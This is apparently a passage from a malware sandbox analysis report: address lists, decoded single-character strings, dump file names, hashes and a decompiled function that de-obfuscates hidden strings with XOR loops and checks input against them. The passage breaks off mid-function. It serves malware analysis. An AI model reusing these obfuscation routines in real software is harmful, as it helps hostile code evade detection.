0x0040e250
0x0040e257
0x0040e25e
0x0040e265
0x0040e266
0x0040e26d
0x0040e26e
0x0040e28c
0x0040e29a
0x0040e2ad
0x0040e2be
0x0040e2c5
0x0040e2cb
0x0040e2d5
0x0040e2da
0x0040e2e1
0x0040e2e8
0x0040e2ed
0x0040e2f2
0x0040e2f7
0x0040e2fc
0x0040e301
0x0040e306
0x0040e30b
0x0040e315
0x0040e319
0x0040e31e
0x0040e323
0x0040e328
0x0040e32d
0x0040e32f
0x0040e334
0x0040e338
0x0040e33c
0x0040e340
0x0040e341
0x0040e345
0x0040e346
0x0040e35b
0x0040e363
0x0040e367
0x0040e375
0x0040e376
0x0040e37d
0x0040e381
0x0040e388
0x0040e38c
0x0040e394
0x0040e39c
0x0040e3a4
0x0040e3ac
0x0040e3b3
0x0040e3bb
0x0040e3c3
0x0040e3cb
0x0040e3d3
0x0040e3db
0x0040e3e3
0x0040e3eb
0x0040e3f3
0x0040e3fb
0x0040e403
0x0040e40b
0x0040e418
0x0040e41c
0x0040e424
0x0040e42c
0x0040e434
0x0040e43c
0x0040e443
0x0040e44b
0x0040e453
0x0040e45b
0x0040e463
0x0040e46b
0x0040e473
0x0040e47b
0x0040e47e
0x0040e481
0x0040e482
0x0040e482
0x0040e489
0x0040e490
0x0040e497
0x0040e498
0x0040e49f
0x0040e4a0
0x0040e4a4
0x0040e4bb
0x0040e4d1
0x0040e4df
0x0040e4ed
0x0040e503
0x0040e50a
0x0040e511
0x0040e518
0x0040e520
0x0040e528
0x0040e530
0x0040e538
0x0040e540
0x0040e548
0x0040e550
0x0040e557
0x0040e55f
0x0040e567
0x0040e56f
0x0040e577
0x0040e57f
0x0040e587
0x0040e58d
0x0040e58e
0x0040e590
0x0040e597
0x0040e59e
0x0040e5a5
0x0040e5a6
0x0040e5ad
0x0040e5ae
0x0040e5c0
0x0040e5c9
0x0040e5d0
0x0040e5df
0x0040e5e6
0x0040e5ed
0x0040e5fb
0x0040e60a
0x0040e611
0x0040e618
0x0040e61f
0x0040e626
0x0040e62e
0x0040e636
0x0040e63e
0x0040e646
0x0040e64d
0x0040e655
0x0040e65d
0x0040e665
0x0040e66d
0x0040e66f
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e785
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e845
0x0040e846
0x0040e849
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e953
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda5
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

A, xrefs: 0040E306
h, xrefs: 0040E39C
W, xrefs: 0040E141
a, xrefs: 0040E7BD
r, xrefs: 0040E7D5
c, xrefs: 0040E518
a, xrefs: 0040E9DA
W, xrefs: 0040DF3A
S, xrefs: 0040E71F
e, xrefs: 0040E99B
a, xrefs: 0040E528
C, xrefs: 0040E747
d, xrefs: 0040E9CA
n, xrefs: 0040E9A3
!, xrefs: 0040E3FB
n, xrefs: 0040E9C2
lmada, xrefs: 0040ED07
j, xrefs: 0040E38C
A, xrefs: 0040DF4A
d, xrefs: 0040E79E
i, xrefs: 0040E78E
m, xrefs: 0040E9F9
e, xrefs: 0040E95C
Ljq, xrefs: 0040E5C0
a, xrefs: 0040E7DD
b, xrefs: 0040E954
o, xrefs: 0040EABE
dualc, xrefs: 0040EC6E
n, xrefs: 0040E1FE
l, xrefs: 0040E520
n, xrefs: 0040E424
a, xrefs: 0040E62E
l, xrefs: 0040E786
s, xrefs: 0040ECBB
fna, xrefs: 0040E8D9
s, xrefs: 0040E328
hyb, xrefs: 0040ED23
o, xrefs: 0040E1F6
r, xrefs: 0040E9D2
l, xrefs: 0040E0E8
a, xrefs: 0040E7A6
t, xrefs: 0040E964
e, xrefs: 0040E63E
B, xrefs: 0040E2FC
s, xrefs: 0040E108
h, xrefs: 0040ECC3
n, xrefs: 0040E3A4
j, xrefs: 0040E626
j, xrefs: 0040DEFD
o, xrefs: 0040E394
!, xrefs: 0040E323
n, xrefs: 0040E7C5
a, xrefs: 0040ECCB
n, xrefs: 0040ECE3
s, xrefs: 0040E7B5
a, xrefs: 0040EAAE
6, xrefs: 0040E3C3
r, xrefs: 0040EAB6
c, xrefs: 0040EAA6
g, xrefs: 0040E73F
,, xrefs: 0040E3CB
s, xrefs: 0040E1EE
N, xrefs: 0040DF5A
o, xrefs: 0040ECDB
a, xrefs: 0040E434
a, xrefs: 0040E9BA
n, xrefs: 0040E42C
,, xrefs: 0040E30B
q, xrefs: 0040E557
n, xrefs: 0040E636
@, xrefs: 0040DF62
I, xrefs: 0040E8FD
3, xrefs: 0040E915
x$], xrefs: 0040E376
r, xrefs: 0040ECD3
o, xrefs: 0040E3BB
rebyc, xrefs: 0040ED77
j, xrefs: 0040E55F
d, xrefs: 0040E7CD
l, xrefs: 0040EAC6
n, xrefs: 0040E796
u, xrefs: 0040E530
<, xrefs: 0040E777
f, xrefs: 0040E2F7
t, xrefs: 0040E96C
s, xrefs: 0040E9B2
y, xrefs: 0040E1E6
e, xrefs: 0040E0F8
(, xrefs: 0040E301
y, xrefs: 0040E974
O, xrefs: 0040E3DB

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$@$A$A$B$C$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$j$l$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$u$x$]$y$y
API String ID: 0-1246891121
Opcode ID: 387fc71f2a7ec49c1d9856a91b47ec7217ba35fd0b89df461219aa098c270786
Instruction ID: 1b0683856bd53524e3d54e3d471b8f60ca5a56cb528742ecb2e508912c54524b
Opcode Fuzzy Hash: 387fc71f2a7ec49c1d9856a91b47ec7217ba35fd0b89df461219aa098c270786
Instruction Fuzzy Hash: 8C92DF2400D7C189E332CB7894547DFFFD15BA6318F089E9ED4ED6A292C6B60249CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00409CF7, Relevance: 109.5, Strings: 87, Instructions: 722
COMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E00409CF7(void* __eax, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a28, char _a29, char _a30, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, intOrPtr _a372, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a456, char _a464, char _a472, char _a480, char _a488, char _a496, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a520, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a568, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a668, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t598;
				signed int _t602;
				intOrPtr _t604;
				intOrPtr _t605;
				void* _t606;
				void* _t607;
				void* _t608;
				intOrPtr _t610;
				intOrPtr _t616;
				void* _t617;
				void* _t618;
				intOrPtr _t619;
				void* _t620;
				void* _t621;
				void* _t622;
				void* _t623;
				intOrPtr _t625;
				void* _t626;
				void* _t631;
				void* _t634;
				void* _t635;
				void* _t636;
				void* _t637;
				intOrPtr _t640;
				void* _t644;
				void* _t646;
				intOrPtr _t662;
				void* _t686;
				void* _t764;
				void* _t766;
				void* _t768;
				intOrPtr _t769;
				intOrPtr _t771;
				signed int _t772;
				intOrPtr _t774;
				void* _t776;
				void* _t777;
				void* _t779;
				void* _t780;
				void* _t781;
				void* _t782;
				void* _t783;

				_t598 = __eax;
				do {
					 *(_t776 + _t598 + 0x238) =  *(_t776 + _t598 + 0x238) ^ 0x0000005a;
					_t598 = _t598 + 1;
				} while (_t598 < 7);
				_push( &_a704);
				_t764 = 5;
				_a704 = 0x7a;
				_a705 = 0xb8;
				_a706 = 0x1e;
				_a707 = 0x91;
				_a708 = 0xf2;
				_a380 = 0xf2;
				_a381 = 0xe4;
				_a382 = 0x7a;
				_a383 = 0xdd;
				_a384 = 0x54;
				_a112 = E004073E0( &_a380, _t764);
				_a404 = 0x29;
				_a405 = 0x6e;
				_a406 = 0x9e;
				_a407 = 0x34;
				_a408 = 0xd0;
				_a376 = 7;
				_a377 = 9;
				_a378 = 0xf1;
				_a379 = 0x42;
				_a380 = 0xd0;
				_t602 = 0;
				do {
					 *(_t776 + _t602 + 0x198) =  *(_t776 + _t602 + 0x198) ^  *(_t776 + _t602 + 0x17c);
					_t602 = _t602 + 1;
				} while (_t602 < 5);
				_a380 = 0xd0;
				_push(5);
				_push( &_a688);
				_a688 = 0xdb;
				_a689 = 0x69;
				_a690 = 0x84;
				_a691 = 0x23;
				_a692 = 3;
				_a381 = 0xfe;
				_a382 = 0x93;
				_a383 = 0xfa;
				_a384 = 0x96;
				_t604 = E00407370( &_a380);
				_push(9);
				_push( &_a808);
				_a108 = _t604;
				_a808 = 0x12;
				_a809 = 0xa1;
				_a810 = 0x1d;
				_a811 = 0x83;
				_a812 = 0x74;
				_a813 = 0xe9;
				_a814 = 0x5b;
				_a815 = 0x5a;
				_a816 = 0x4b;
				_a380 = 0x93;
				_a381 = 0xf1;
				_a382 = 0x94;
				_a383 = 0xe6;
				_a384 = 0x8d;
				_a385 = 0xe8;
				_a386 = 0x84;
				_a387 = 0xe1;
				_a388 = 0x98;
				_t605 = E00407370( &_a380);
				_t777 = _t776 + 0x10;
				_a124 = _t605;
				_a624 = 0xbc;
				_a625 = 0xb0;
				_a626 = 0xb1;
				_a627 = 0xab;
				_a628 = 0xbe;
				_a629 = 0xbc;
				_a630 = 0xab;
				_a631 = 0xdf;
				_t606 = 0;
				do {
					 *(_t777 + _t606 + 0x270) =  *(_t777 + _t606 + 0x270) ^ 0x000000df;
					_t606 = _t606 + 1;
				} while (_t606 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t607 = 0;
				do {
					 *(_t777 + _t607 + 0x260) =  *(_t777 + _t607 + 0x260) ^ 0x0000002e;
					_t607 = _t607 + 1;
				} while (_t607 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t608 = 0;
				do {
					 *((char*)(_t777 + _t608 + 0x1a8)) =  *((intOrPtr*)(_t777 + _t608 + 0x1a8)) +  *((intOrPtr*)(_t777 + _t608 + 0x17c));
					_t608 = _t608 + 1;
				} while (_t608 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t610 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t610;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = 0xbc;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t616 = E00407370( &_a376);
				_t779 = _t777 + 0x18;
				_a72 = _t616;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t617 = 0;
				do {
					 *(_t779 + _t617 + 0x258) =  *(_t779 + _t617 + 0x258) ^  *(_t779 + _t617 + 0x17c);
					_t617 = _t617 + 1;
				} while (_t617 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t618 = 0;
				do {
					 *(_t779 + _t618 + 0x248) =  *(_t779 + _t618 + 0x248) ^ 0x00000083;
					_t618 = _t618 + 1;
				} while (_t618 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = 0xbc;
				_t619 = E00407370( &_a380);
				_t780 = _t779 + 8;
				_a84 = _t619;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t620 = 0;
				do {
					 *(_t780 + _t620 + 0x278) =  *(_t780 + _t620 + 0x278) ^  *(_t780 + _t620 + 0x17c);
					_t620 = _t620 + 1;
				} while (_t620 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t621 = 0;
				do {
					 *(_t780 + _t621 + 0x288) =  *(_t780 + _t621 + 0x288) ^  *(_t780 + _t621 + 0x17c);
					_t621 = _t621 + 1;
				} while (_t621 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t622 = 0;
				do {
					 *((char*)(_t780 + _t622 + 0x210)) =  *((intOrPtr*)(_t780 + _t622 + 0x210)) +  *((intOrPtr*)(_t780 + _t622 + 0x17c));
					_t622 = _t622 + 1;
				} while (_t622 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t623 = 0;
				do {
					 *(_t780 + _t623 + 0x1f8) =  *(_t780 + _t623 + 0x1f8) ^  *(_t780 + _t623 + 0x17c);
					_t623 = _t623 + 1;
				} while (_t623 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t625 = E00407370( &_a380);
				_t781 = _t780 + 8;
				_a92 = _t625;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t626 = 0;
				do {
					 *(_t781 + _t626 + 0x280) =  *(_t781 + _t626 + 0x280) ^ 0x000000fc;
					_t626 = _t626 + 1;
				} while (_t626 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t662 = E00407370( &_a380);
				_t782 = _t781 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_push( &_a776);
				asm("pushad");
				asm("popad");
				_t766 = 8;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, _t766);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t631 = 0;
				do {
					 *(_t782 + _t631 + 0x218) =  *(_t782 + _t631 + 0x218) ^ 0x00000001;
					_t631 = _t631 + 1;
				} while (_t631 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t634 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t771 = _t634;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t635 = E00407370( &_a388);
				_t783 = _t782 + 8;
				_t774 = _t635;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t636 = 0;
				do {
					 *(_t783 + _t636 + 0x1b8) =  *(_t783 + _t636 + 0x1b8) ^ 0x000000d4;
					_t636 = _t636 + 1;
				} while (_t636 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t637 = 0;
				do {
					 *((char*)(_t783 + _t637 + 0x240)) =  *((intOrPtr*)(_t783 + _t637 + 0x240)) +  *((intOrPtr*)(_t783 + _t637 + 0x188));
					_t637 = _t637 + 1;
				} while (_t637 < 7);
				_push( &_a28);
				_t768 = 3;
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t640 = E004073E0( &_a392, _t768);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t686 = 0;
				do {
					 *((intOrPtr*)(_t783 + _t686 + 0x14)) =  *((intOrPtr*)(_t783 + _t686 + 0x14)) +  *((intOrPtr*)(_t783 + _t686 + 0x188));
					_t686 = _t686 + 1;
				} while (_t686 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t769 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t771;
				_a344 = _t662;
				_a360 = _t774;
				_a368 =  &_a576;
				_a372 = _t640;
				_a376 =  &_a20;
				_t772 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t644 = E00425320(_t769,  *((intOrPtr*)(_t783 + 0x84 + _t772 * 4)));
					_t783 = _t783 + 8;
					if(_t644 != 0) {
						break;
					}
					_t772 = _t772 + 1;
					if(_t772 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t783 = _t783 + 4;
						}
